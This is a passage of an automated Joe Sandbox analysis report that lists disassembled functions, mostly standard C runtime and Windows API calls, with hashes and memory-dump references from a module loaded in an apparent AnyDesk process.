SizeofResource.KERNEL32(?,?,?,69C62BE3,?,00000000,?,?,69C62C6F,?,?,?), ref: 69C62D12

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Resource$LoadLockSizeof
String ID:
API String ID: 2853612939-0
Opcode ID: d242ca1d5fd52857a0c9baced8091a62c50dde5c61b9eaed01bf37feb48d38b5
Instruction ID: 4cc1eff97534192a909abda9397b7fbba18d424d380e4c96bf33b063c3aebfcc
Opcode Fuzzy Hash: d242ca1d5fd52857a0c9baced8091a62c50dde5c61b9eaed01bf37feb48d38b5
Instruction Fuzzy Hash: 68F0C836901235ABDF311F65E95449A7BB9EF463517008826FD59D7034F631E852D7C0

Uniqueness

Uniqueness Score: -1.00%

Function 69C49E6A Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(69C21DE7,?,69C49E40,69C21DE7,69C7B670,0000000C,69C49F88,69C21DE7,00000002,00000000,?,69C45DF9,00000003,?,69C3FA3A,69C3FA7E), ref: 69C49E8B
TerminateProcess.KERNEL32(00000000,?,69C49E40,69C21DE7,69C7B670,0000000C,69C49F88,69C21DE7,00000002,00000000,?,69C45DF9,00000003,?,69C3FA3A,69C3FA7E), ref: 69C49E92
ExitProcess.KERNEL32 ref: 69C49EA4

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: a2fe2388c1f6692f336c87e1cc416bf4f857a2acb361f3ae451cee51e5eb3a4d
Instruction ID: a2b4eebf59393729abc3e8973b1019e920b8d98bd3e9e9bf27280a52c238138b
Opcode Fuzzy Hash: a2fe2388c1f6692f336c87e1cc416bf4f857a2acb361f3ae451cee51e5eb3a4d
Instruction Fuzzy Hash: 5FE046321006A8AFCF01AF61DA08AA93B79EB85B95B104424F8098A020DB35D843DB80

Uniqueness

Uniqueness Score: -1.00%

Function 69C4168B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A,?), ref: 69C416A4

Strings

, xrefs: 69C41808

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-3916222277
Opcode ID: 9cb188435df57f47b62d98e2d035c99d1da42347d62eab8fb4841983b601f6f4
Instruction ID: eac84bbe46a63821a8e7db53339751663b3abb56a7741ba794796a2f0b47777f
Opcode Fuzzy Hash: 9cb188435df57f47b62d98e2d035c99d1da42347d62eab8fb4841983b601f6f4
Instruction Fuzzy Hash: 9451AFB1E002198FEF04CF6AE4927AEBBF4FB08714F10852AD855EB280E7749461CF91

Uniqueness

Uniqueness Score: -1.00%

Function 69C5AD29 Relevance: 3.2, APIs: 2, Instructions: 192COMMON

Download Yara Rule

APIs

IsValidCodePage.KERNEL32(00000000), ref: 69C5ADD0

Part of subcall function 69C46183: IsProcessorFeaturePresent.KERNEL32(00000017,69C46155,0000010C,00000000,00000000,00000000,00000000,00000000,?,?,69C46175,00000000,00000000,00000000,00000000,00000000), ref: 69C46185
Part of subcall function 69C46183: GetCurrentProcess.KERNEL32(C0000417,00000000,0000010C,69C322CA), ref: 69C461A7
Part of subcall function 69C46183: TerminateProcess.KERNEL32(00000000), ref: 69C461AE

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FC0F
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC1C

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 69C5AF11

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$Process_free$CodeCurrentFeatureInfoLocalePagePresentProcessorTerminateValid_abort
String ID:
API String ID: 3156739809-0
Opcode ID: 253eec1b7daa80d711c47aa827c3ea1ad9db1d5989c7edcb15dedbe8c8838c4d
Instruction ID: 9cada54d5f831aaf5d1909e35ac655dfaf9ea2a573888d1375164c63cd7ca743
Opcode Fuzzy Hash: 253eec1b7daa80d711c47aa827c3ea1ad9db1d5989c7edcb15dedbe8c8838c4d
Instruction Fuzzy Hash: D451E636700205AAE715EA76FC45FB773A8EF85774F008529A916DB180FB70E83187B9

Uniqueness

Uniqueness Score: -1.00%

Function 69C5B329 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FC0F
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC1C

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 69C5B37D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: e9ece3c5031ea63bfca9a1d0138a27f7aef3aff5d6f9ab78beea6884c7d8db20
Instruction ID: c56e6f9aa5fc211f94e2350ab4e56fbfcbc723648031bd4f48deccf2ff6c9bd1
Opcode Fuzzy Hash: e9ece3c5031ea63bfca9a1d0138a27f7aef3aff5d6f9ab78beea6884c7d8db20
Instruction Fuzzy Hash: 4C21D03254421AABDB14CE28EC81BAA7BA8EF09314F10407BFE02D6180FF34E875CB54

Uniqueness

Uniqueness Score: -1.00%

Function 69C5AEBD Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FC0F
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC1C

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 69C5AF11

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale_abort
String ID:
API String ID: 1663032902-0
Opcode ID: ba48e2502b205e51db516e72cdbc6f5a5dcde6a5be65dfdf4c7f87c3f58a0e61
Instruction ID: b21dcf8fd164de4f95acd976ecee1959fd918126a8be9f045658e1972035f243
Opcode Fuzzy Hash: ba48e2502b205e51db516e72cdbc6f5a5dcde6a5be65dfdf4c7f87c3f58a0e61
Instruction Fuzzy Hash: 5C110A766001169FD714CF29EC41ABA77ACEF45320B1091BAE906C7540FB34E921C794

Uniqueness

Uniqueness Score: -1.00%

Function 69C5AFB1 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

EnumSystemLocalesW.KERNEL32(69C5B0D9,00000001), ref: 69C5B023

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: 5493d2b52bbc1bee9ef6e8ecc3c3a4fbaad21a4c272302574a2e6f7c0802996b
Instruction ID: 3cb23a1ea42866e6a518d455b547db645413b5a8384a0913e8545316a5edbe2c
Opcode Fuzzy Hash: 5493d2b52bbc1bee9ef6e8ecc3c3a4fbaad21a4c272302574a2e6f7c0802996b
Instruction Fuzzy Hash: 8911297B2047019FDB189F3AD9A167ABBA1FFC4368B54452DD54787A40E3316463C740

Uniqueness

Uniqueness Score: -1.00%

Function 69C5B559 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,69C5B2F7,00000000,00000000,?), ref: 69C5B585

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$InfoLocale_abort_free
String ID:
API String ID: 2692324296-0
Opcode ID: 97bdd1d2b7bb11d2eb2acb0f58b39b66864c1c297cff84c91439e03f515a3096
Instruction ID: d7761461c551aeb9bfcfede9587572eebda8741099ae7003b96a2c3acfd86c7c
Opcode Fuzzy Hash: 97bdd1d2b7bb11d2eb2acb0f58b39b66864c1c297cff84c91439e03f515a3096
Instruction Fuzzy Hash: DEF02D76600515AFDB1C8A65D805BBB7F68FF40754F40446AED16A3180FA30FE32C6D4

Uniqueness

Uniqueness Score: -1.00%

Function 69C5B04C Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

EnumSystemLocalesW.KERNEL32(69C5B329,00000001), ref: 69C5B098

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: ee0714b982d332cadc5996705f9dbd42ecfa4b3b7447e9f43b79dcce27fe8a30
Instruction ID: b8f461d50a46892d5a5df8d0baa5dbdd611f7ad3cf97292ff258db6de270e98a
Opcode Fuzzy Hash: ee0714b982d332cadc5996705f9dbd42ecfa4b3b7447e9f43b79dcce27fe8a30
Instruction Fuzzy Hash: A8F022762003055FD7148E3AE991A7A7FA5EFC1368F44842DE9028B640E7719822C644

Uniqueness

Uniqueness Score: -1.00%

Function 69C4EC36 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 69C4B688: EnterCriticalSection.KERNEL32(?,?,69C4B4E9,00000000,69C7B718,0000000C,69C3F041,?,69C40906,?,?,69C31BDD,0000012C), ref: 69C4B697

EnumSystemLocalesW.KERNEL32(69C4EBF0,00000001,69C7B8B8,0000000C), ref: 69C4EC6E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 70a1a6973db624ebf6de80e3ae2f6f193c4d06ccda6f1d88da1567f902254d6c
Instruction ID: 69868d08a5c580967c2b5351f34cc50dc1cb5e7b088565517925deb40657316e
Opcode Fuzzy Hash: 70a1a6973db624ebf6de80e3ae2f6f193c4d06ccda6f1d88da1567f902254d6c
Instruction Fuzzy Hash: 7CF03736A10214DFDB14DF68D404BAD3BB0EB05724F51D11AF810DF290EB348A428F86

Uniqueness

Uniqueness Score: -1.00%

Function 69C5F147 Relevance: 1.5, APIs: 1, Instructions: 33timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 69C5F15F

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: f322af12d1a828829cff4222591d16af9ee1c0feb2f8c234e6c354ee71648917
Instruction ID: 42d6799ccf4618e6224298088dbe56d631f5420a8a8fc0739c3f238780233c7e
Opcode Fuzzy Hash: f322af12d1a828829cff4222591d16af9ee1c0feb2f8c234e6c354ee71648917
Instruction Fuzzy Hash: 1EF0F038D0011ED7CF08EF99C9117FEB7B8AF29705F80403AA802EA640E7388A51D3A5

Uniqueness

Uniqueness Score: -1.00%

Function 69C4F15E Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,?,?,?,69C51EFE,?,20001004,?,00000002,?), ref: 69C4F19D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a3cd16943c6fe0efd4f8908d61c2a96b937534f51f198e32e6c52121e26383bd
Instruction ID: 72c24aac7921f08445f46e673fe6d1fedeaf120f8e8e84afb51e34d84f733424
Opcode Fuzzy Hash: a3cd16943c6fe0efd4f8908d61c2a96b937534f51f198e32e6c52121e26383bd
Instruction Fuzzy Hash: 27F05E39641268EFCF129F21EC00A6E7B65EF49B10F408015FC0556210DB329E11EA95

Uniqueness

Uniqueness Score: -1.00%

Function 69C5AF66 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 69C4FBB0: GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
Part of subcall function 69C4FBB0: _free.LIBCMT ref: 69C4FBE7
Part of subcall function 69C4FBB0: SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
Part of subcall function 69C4FBB0: _abort.LIBCMT ref: 69C4FC2E

EnumSystemLocalesW.KERNEL32(Function_0003AEBD,00000001), ref: 69C5AF9D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_abort_free
String ID:
API String ID: 1084509184-0
Opcode ID: c976b867ef68ddeb0d00448ff9d0845c64af06267d2cee0ff4ae14a5382ff0d8
Instruction ID: 6c40ae05b1694c7d9fcf12b5a47f5c1bb2cfa33a4b57b929d7ae9637bf96cb7a
Opcode Fuzzy Hash: c976b867ef68ddeb0d00448ff9d0845c64af06267d2cee0ff4ae14a5382ff0d8
Instruction Fuzzy Hash: 14F0553A30020957CB049F3AE955B6A7FA4EFC2764B064058EA068B680D7359863C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 69C4B428 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 69C4B428

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8bb5d0f272cce2152bf720603a3d27ba61399f805aef81330b5c3a43b7ded258
Instruction ID: 3dd888233872cf07fe476d136ba07cdd2140ffe8f710de0c96e7ec8c598beaca
Opcode Fuzzy Hash: 8bb5d0f272cce2152bf720603a3d27ba61399f805aef81330b5c3a43b7ded258
Instruction Fuzzy Hash: E8A00275601155CB5B508E35470525935BD755669170540559405C5170D62555529603

Uniqueness

Uniqueness Score: -1.00%

Function 69C42FC6 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 269
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 69C430CA
_GetRangeOfTrysToCheck.LIBVCRUNTIME ref: 69C43145
___TypeMatch.LIBVCRUNTIME ref: 69C431B9
___DestructExceptionObject.LIBVCRUNTIME ref: 69C4323E
IsInExceptionSpec.LIBVCRUNTIME ref: 69C43279
___DestructExceptionObject.LIBVCRUNTIME ref: 69C432EA
__CxxThrowException@8.LIBVCRUNTIME ref: 69C43302
_UnwindNestedFrames.LIBCMT ref: 69C4330A
___FrameUnwindToState.LIBVCRUNTIME ref: 69C43316
CallUnexpected.LIBVCRUNTIME ref: 69C43321

Strings

csm, xrefs: 69C43074
csm, xrefs: 69C43007
csm, xrefs: 69C430F9

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Exception$DestructObjectSpecUnwind$CallCheckException@8FrameFramesMatchNestedRangeStateThrowTrysTypeUnexpected
String ID: csm$csm$csm
API String ID: 1230517499-393685449
Opcode ID: 07c7369a691616e1be864ca776c6501315653ec1c452c2f7efc0d7268fa95dcf
Instruction ID: efd08b4e137a9876d057dfae05602bc4aadff13f20396b04de4052247d2c34c3
Opcode Fuzzy Hash: 07c7369a691616e1be864ca776c6501315653ec1c452c2f7efc0d7268fa95dcf
Instruction Fuzzy Hash: 3AB1D174A00309DFCF21CF94EA41B9EBBB5BF89B14F508159E81167652E336EA41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 69C4BA4E Relevance: 22.8, APIs: 15, Instructions: 296
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 69C4BABE
_free.LIBCMT ref: 69C4BAD4
_free.LIBCMT ref: 69C4BAE5
_free.LIBCMT ref: 69C4BAF6
_free.LIBCMT ref: 69C4BB0D
GetCPInfo.KERNEL32(?,?), ref: 69C4BB55

Part of subcall function 69C54A36: _free.LIBCMT ref: 69C54AA1

_free.LIBCMT ref: 69C4BD01
_free.LIBCMT ref: 69C4BD14
_free.LIBCMT ref: 69C4BD22
_free.LIBCMT ref: 69C4BD2D
_free.LIBCMT ref: 69C4BD6F
_free.LIBCMT ref: 69C4BD77
_free.LIBCMT ref: 69C4BD7F
_free.LIBCMT ref: 69C4BD87
_free.LIBCMT ref: 69C4BD95

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 51962aba01204b3ec9a363561d4adcc0dca43e9e60c674a990de91e178db3287
